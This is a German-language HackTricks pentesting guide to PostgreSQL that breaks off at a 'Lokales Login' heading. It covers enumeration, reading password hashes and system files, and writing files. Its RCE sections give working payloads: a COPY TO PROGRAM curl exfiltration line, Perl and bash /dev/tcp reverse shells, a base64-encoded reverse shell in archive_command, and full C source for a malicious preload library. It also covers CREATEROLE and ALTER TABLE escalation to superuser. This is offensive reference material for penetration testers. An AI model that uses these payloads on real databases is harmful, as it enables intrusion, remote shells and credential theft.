hacktricks/network-services-pentesting/pentesting-postgresql.md

765 lines
39 KiB
Markdown

# 5432,5433 - Pentesting Postgresql
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), um einfach **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>
## **Grundlegende Informationen**
**PostgreSQL** wird als **objekt-relationales Datenbanksystem** beschrieben, das **Open Source** ist. Dieses System verwendet nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und Operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
**Standardport:** 5432, und wenn dieser Port bereits verwendet wird, scheint PostgreSQL den nächsten Port (wahrscheinlich 5433) zu verwenden, der nicht verwendet wird.
```
PORT STATE SERVICE
5432/tcp open pgsql
```
## Verbinden & Grundlegende Auflistung
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```
```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
```
{% hint style="warning" %}
Wenn Sie **`\list`** ausführen und eine Datenbank namens **`rdsadmin`** finden, wissen Sie, dass Sie sich in einer **AWS PostgreSQL-Datenbank** befinden.
{% endhint %}
Für weitere Informationen darüber, **wie man eine PostgreSQL-Datenbank missbrauchen kann**, überprüfen Sie:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## Automatische Enumeration
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
### **Port Scanning**
Gemäß [**dieser Forschung**](https://www.exploit-db.com/papers/13084) wirft `dblink` eine `sqlclient_unable_to_establish_sqlconnection` Ausnahme mit einer Erklärung des Fehlers, wenn ein Verbindungsversuch fehlschlägt. Beispiele für diese Details sind unten aufgeführt.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* Host ist nicht erreichbar
`DETAIL: konnte keine Verbindung zum Server herstellen: Keine Route zum Host Gibt es den Server mit der IP "1.2.3.4" und akzeptiert er TCP/IP-Verbindungen auf Port 5678?`
* Port ist geschlossen
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* Port ist geöffnet
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
oder
```
DETAIL: FATAL: password authentication failed for user "name"
```
* Port ist offen oder gefiltert
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahmedetails zu erhalten. Wenn Sie jedoch direkten Zugriff auf den PostgreSQL-Server haben, können Sie die erforderlichen Informationen abrufen. Wenn das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht möglich ist, können Sie in Betracht ziehen, die im vorherigen Abschnitt diskutierte Wortlistenangriffsmethode zu verwenden, da dies möglicherweise positive Ergebnisse liefert.
## Aufzählung von Berechtigungen
### Rollen
| Rollentypen | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Rolle hat Superuser-Berechtigungen |
| rolinherit | Rolle erbt automatisch Berechtigungen von Rollen, denen sie angehört |
| rolcreaterole | Rolle kann weitere Rollen erstellen |
| rolcreatedb | Rolle kann Datenbanken erstellen |
| rolcanlogin | Rolle kann sich anmelden. Das heißt, diese Rolle kann als initialer Sitzungsberechtigungs-Identifier angegeben werden |
| rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen. |
| rolconnlimit | Für Rollen, die sich anmelden können, legt dies die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet keine Begrenzung. |
| rolpassword | Nicht das Passwort (wird immer als `********` angezeigt) |
| rolvaliduntil | Ablaufzeit des Passworts (nur für die Passwortauthentifizierung verwendet); null, wenn kein Ablaufdatum vorhanden ist |
| rolbypassrls | Rolle umgeht jede Richtlinie zur Zeilensicherheit, siehe [Abschnitt 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) für weitere Informationen. |
| rolconfig | Rollenspezifische Standardeinstellungen für Laufzeitkonfigurationsvariablen |
| oid | ID der Rolle |
#### Interessante Gruppen
* Wenn Sie Mitglied von **`pg_execute_server_program`** sind, können Sie **Programme ausführen**
* Wenn Sie Mitglied von **`pg_read_server_files`** sind, können Sie **Dateien lesen**
* Wenn Sie Mitglied von **`pg_write_server_files`** sind, können Sie **Dateien schreiben**
{% hint style="info" %}
Beachten Sie, dass in Postgres ein **Benutzer**, eine **Gruppe** und eine **Rolle** dasselbe sind. Es hängt nur davon ab, **wie Sie es verwenden** und ob Sie es zum **Anmelden zulassen**.
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Tabellen
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### Funktionen
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
```
## Dateisystemaktionen
### Verzeichnisse und Dateien lesen
Von diesem [**Commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) können Mitglieder der definierten Gruppe **`DEFAULT_ROLE_READ_SERVER_FILES`** (genannt **`pg_read_server_files`**) und **Superbenutzer** die Methode **`COPY`** auf jedem Pfad verwenden (siehe `convert_and_check_filename` in `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die **CREATEROLE**-Berechtigungen verfügen, **sich selbst zu diesem Gruppe hinzufügen können:**
```sql
GRANT pg_read_server_files TO username;
```
[**Weitere Informationen.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Es gibt **andere PostgreSQL-Funktionen**, die verwendet werden können, um eine Datei zu lesen oder ein Verzeichnis aufzulisten. Nur **Superuser** und **Benutzer mit expliziten Berechtigungen** können sie verwenden:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Du kannst **weitere Funktionen** unter [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) finden.
### Einfaches Dateischreiben
Nur **Superbenutzer** und Mitglieder von **`pg_write_server_files`** können `copy` zum Schreiben von Dateien verwenden.
{% code overflow="wrap" %}
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die **`CREATEROLE`**-Berechtigungen verfügen, sich **als Mitglied dieser Gruppe hinzufügen können:**
```sql
GRANT pg_write_server_files TO username;
```
[**Weitere Informationen.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Denken Sie daran, dass COPY keine Zeilenumbrüche verarbeiten kann, daher müssen Sie selbst bei Verwendung eines Base64-Payloads **eine Einzeiler senden**.\
Eine sehr wichtige Einschränkung dieser Technik ist, dass **`copy` nicht zum Schreiben binärer Dateien verwendet werden kann, da es einige binäre Werte ändert**.
### **Hochladen von Binärdateien**
Es gibt jedoch **andere Techniken zum Hochladen großer Binärdateien:**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns noch heute bei unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
### Aktualisieren von PostgreSQL-Tabellendaten über lokales Schreiben von Dateien
Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie eine beliebige Tabelle auf dem Server aktualisieren, indem Sie die zugehörige Dateiknoten überschreiben im [PostgreSQL-Datenverzeichnis](https://www.postgresql.org/docs/8.1/storage.html). **Mehr zu dieser Technik** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Erforderliche Schritte:
1. PostgreSQL-Datenverzeichnis abrufen
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Hinweis:** Wenn Sie den aktuellen Datenverzeichnispfad nicht aus den Einstellungen abrufen können, können Sie die Haupt-PostgreSQL-Version über die Abfrage `SELECT version()` abfragen und versuchen, den Pfad zu erraten. Häufige Datenverzeichnispfade bei Unix-Installationen von PostgreSQL sind `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ein häufiger Clustername ist `main`.
2. Einen relativen Pfad zum Dateiknoten abrufen, der mit der Ziel-Tabelle verknüpft ist
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
Diese Abfrage sollte etwas wie `base/3/1337` zurückgeben. Der vollständige Pfad auf der Festplatte lautet dann `$DATA_DIRECTORY/base/3/1337`, d.h. `/var/lib/postgresql/13/main/base/3/1337`.
3. Den Dateiknoten durch die `lo_*`-Funktionen herunterladen
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. Den Datentyp abrufen, der mit der Ziel-Tabelle verknüpft ist
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Verwenden Sie den [PostgreSQL-Filenode-Editor](https://github.com/adeadfed/postgresql-filenode-editor), um den [Dateiknoten zu bearbeiten](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); setzen Sie alle `rol*`-Booleschen Flags auf 1 für volle Berechtigungen.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
6. Laden Sie den bearbeiteten Dateiknoten über die `lo_*`-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(Optional)_ Löschen Sie den im Arbeitsspeicher befindlichen Tabellencache, indem Sie eine aufwendige SQL-Abfrage ausführen
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. Sie sollten nun aktualisierte Tabellenwerte in der PostgreSQL sehen.
Sie können auch Superadmin werden, indem Sie die `pg_authid`-Tabelle bearbeiten. **Siehe** [**den folgenden Abschnitt**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
## RCE
### **RCE zum Programm**
Seit [Version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html) können nur **Superbenutzer** und Mitglieder der Gruppe **`pg_execute_server_program`** COPY für RCE verwenden (Beispiel mit Exfiltration:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Beispiel zum Ausführen:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die **`CREATEROLE`**-Berechtigungen verfügen, **sich selbst zu diesem Gruppe hinzufügen können:**
```sql
GRANT pg_execute_server_program TO username;
```
[**Weitere Informationen.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Oder verwenden Sie das Modul `multi/postgres/postgres_copy_from_program_cmd_exec` von **metasploit**.\
Weitere Informationen zu dieser Schwachstelle finden Sie [**hier**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Während sie als CVE-2019-9193 gemeldet wurde, erklärte Postges, dass dies ein [Feature ist und nicht behoben wird](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE mit PostgreSQL-Sprachen
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
### RCE mit PostgreSQL-Erweiterungen
Sobald Sie aus dem vorherigen Beitrag **gelernt haben, wie Sie binäre Dateien hochladen**, könnten Sie versuchen, **RCE zu erhalten, indem Sie eine PostgreSQL-Erweiterung hochladen und laden**.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
### RCE mit PostgreSQL-Konfigurationsdatei
{% hint style="info" %}
Die folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen ausgeführt werden können.
{% endhint %}
Die **Konfigurationsdatei** von PostgreSQL ist vom **postgres-Benutzer beschreibbar**, der die Datenbank ausführt, sodass Sie als **Superuser** Dateien im Dateisystem schreiben können und daher diese Datei **überschreiben können**.
![](<../.gitbook/assets/image (322).png>)
#### **RCE mit ssl\_passphrase\_command**
Weitere Informationen [zu dieser Technik hier](https://pulsesecurity.co.nz/articles/postgres-sqli).
Die Konfigurationsdatei hat einige interessante Attribute, die zu RCE führen können:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pfad zum privaten Schlüssel der Datenbank
* `ssl_passphrase_command = ''` Wenn die private Datei durch ein Passwort geschützt ist (verschlüsselt), wird PostgreSQL den Befehl in diesem Attribut **ausführen**.
* `ssl_passphrase_command_supports_reload = off` **Wenn** dieses Attribut **aktiviert** ist, wird der **Befehl** ausgeführt, wenn der Schlüssel durch ein Passwort geschützt ist, wenn `pg_reload_conf()` **ausgeführt** wird.
Dann muss ein Angreifer:
1. Den privaten Schlüssel vom Server **dumpen**
2. Den heruntergeladenen privaten Schlüssel **verschlüsseln**:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Überschreiben**
4. Die aktuelle PostgreSQL-**Konfiguration dumpen**
5. Die **Konfiguration** mit den genannten Attributen konfigurieren:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()` ausführen
Beim Testen habe ich festgestellt, dass dies nur funktioniert, wenn die **private Schlüsseldatei die Berechtigungen 640 hat**, sie **root gehört** und von der **Gruppe ssl-cert oder postgres** (damit der postgres-Benutzer sie lesen kann) und sich in _/var/lib/postgresql/12/main_ befindet.
#### **RCE mit archive\_command**
**Weitere** [**Informationen zu dieser Konfiguration und zu WAL hier**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Ein weiteres Attribut in der Konfigurationsdatei, das ausgenutzt werden kann, ist `archive_command`.
Damit dies funktioniert, muss die Einstellung `archive_mode` auf `'on'` oder `'always'` gesetzt sein. Wenn dies zutrifft, könnten wir den Befehl in `archive_command` überschreiben und ihn über die WAL (write-ahead logging)-Operationen ausführen.
Die allgemeinen Schritte sind:
1. Überprüfen, ob der Archivmodus aktiviert ist: `SELECT current_setting('archive_mode')`
2. Überschreiben Sie `archive_command` mit dem Payload. Zum Beispiel ein Reverse-Shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Konfiguration neu laden: `SELECT pg_reload_conf()`
4. Zwingen Sie die WAL-Operation, die Archivierung auszuführen, indem Sie den Archivbefehl aufrufen: `SELECT pg_switch_wal()` oder `SELECT pg_switch_xlog()` für einige Postgres-Versionen
#### **RCE mit Preload-Bibliotheken**
Weitere Informationen [zu dieser Technik hier](https://adeadfed.com/posts/postgresql-select-only-rce/).
Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen aus:
* `session_preload_libraries` - Bibliotheken, die vom PostgreSQL-Server bei der Clientverbindung geladen werden.
* `dynamic_library_path` - Liste der Verzeichnisse, in denen der PostgreSQL-Server nach den Bibliotheken suchen wird.
Wir können den Wert von `dynamic_library_path` auf ein Verzeichnis setzen, das vom `postgres`-Benutzer, der die Datenbank ausführt, beschreibbar ist, z. B. das `/tmp/`-Verzeichnis, und dort ein bösartiges `.so`-Objekt hochladen. Als nächstes zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in die Variable `session_preload_libraries` aufnehmen.
Die Angriffsschritte sind:
1. Laden Sie die originale `postgresql.conf` herunter
2. Fügen Sie das `/tmp/`-Verzeichnis in den Wert von `dynamic_library_path` ein, z. B. `dynamic_library_path = '/tmp:$libdir'`
3. Fügen Sie den bösartigen Bibliotheksnamen in den Wert von `session_preload_libraries` ein, z. B. `session_preload_libraries = 'payload.so'`
4. Überprüfen Sie die Haupt-PostgreSQL-Version über die Abfrage `SELECT version()`
5. Kompilieren Sie den bösartigen Bibliothekscode mit dem richtigen PostgreSQL-Dev-Paket Beispielcode:
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
Code kompilieren:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Laden Sie die bösartige `postgresql.conf`, die in den Schritten 2-3 erstellt wurde, herunter und überschreiben Sie die originale
7. Laden Sie das `payload.so` aus Schritt 5 in das `/tmp`-Verzeichnis hoch
8. Laden Sie die Serverkonfiguration neu, indem Sie den Server neu starten oder die Abfrage `SELECT pg_reload_conf()` aufrufen
9. Bei der nächsten DB-Verbindung erhalten Sie die Reverse-Shell-Verbindung.
## **Postgres Privilegienerhöhung**
### CREATEROLE Privilegienerhöhung
#### **Grant**
Gemäß den [**Dokumenten**](https://www.postgresql.org/docs/13/sql-grant.html): _Rollen mit dem **`CREATEROLE`**-Privileg können **Mitgliedschaft in einer Rolle gewähren oder widerrufen**, die **kein** **Superuser** ist._
Daher können Sie, wenn Sie die Berechtigung **`CREATEROLE`** haben, sich selbst Zugriff auf andere **Rollen** (die keine Superuser sind) gewähren, was Ihnen die Möglichkeit gibt, Dateien zu lesen und zu schreiben sowie Befehle auszuführen:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Passwort ändern
Benutzer mit dieser Rolle können auch die Passwörter anderer Nicht-Superbenutzer **ändern**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Berechtigung zum SUPERUSER erhöhen
Es ist ziemlich üblich festzustellen, dass **lokale Benutzer sich bei PostgreSQL anmelden können, ohne ein Passwort anzugeben**. Daher können Sie, sobald Sie **Berechtigungen zum Ausführen von Code gesammelt haben**, diese Berechtigungen missbrauchen, um die **`SUPERUSER`**-Rolle zu erhalten:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
Dies ist in der Regel möglich aufgrund der folgenden Zeilen in der Datei **`pg_hba.conf`**:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE Berechtigungserhöhung**
In [**diesem Bericht**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) wird erklärt, wie es möglich war, eine **Berechtigungserhöhung** in Postgres GCP durch den Missbrauch des ALTER TABLE-Privilegs, das dem Benutzer gewährt wurde, durchzuführen.
Wenn Sie versuchen, **einen anderen Benutzer zum Besitzer einer Tabelle zu machen**, sollten Sie einen **Fehler** erhalten, der dies verhindert, aber anscheinend gab GCP diese **Option dem nicht-superuser postgres-Benutzer** in GCP:
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
Wenn man diese Idee mit der Tatsache verbindet, dass bei der Ausführung von **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)-Befehlen auf einer **Tabelle mit einer Indexfunktion** die **Funktion** als Teil des Befehls mit den **Berechtigungen des Tabellenbesitzers** aufgerufen wird. Es ist möglich, einen Index mit einer Funktion zu erstellen und einem **Superbenutzer** die Besitzerberechtigungen für diese Tabelle zu geben, und dann ANALYZE über die Tabelle mit der bösartigen Funktion auszuführen, die Befehle ausführen kann, weil sie die Berechtigungen des Besitzers verwendet.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### Ausnutzung
1. Beginnen Sie damit, eine neue Tabelle zu erstellen.
2. Fügen Sie irrelevante Inhalte in die Tabelle ein, um Daten für die Indexfunktion bereitzustellen.
3. Entwickeln Sie eine bösartige Indexfunktion, die einen Codeausführungspayload enthält, der die Ausführung nicht autorisierter Befehle ermöglicht.
4. Ändern Sie den Besitzer der Tabelle in "cloudsqladmin", der die Superuser-Rolle von GCP ist, die ausschließlich von Cloud SQL verwendet wird, um die Datenbank zu verwalten und zu pflegen.
5. Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt den PostgreSQL-Motor, in den Benutzerkontext des Tabellenbesitzers "cloudsqladmin" zu wechseln. Folglich wird die bösartige Indexfunktion mit den Berechtigungen von "cloudsqladmin" aufgerufen, wodurch die Ausführung des zuvor nicht autorisierten Shell-Befehls ermöglicht wird.
In PostgreSQL sieht dieser Ablauf etwa so aus:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
Dann wird die Tabelle `shell_commands_results` den Output des ausgeführten Codes enthalten:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Lokales Login
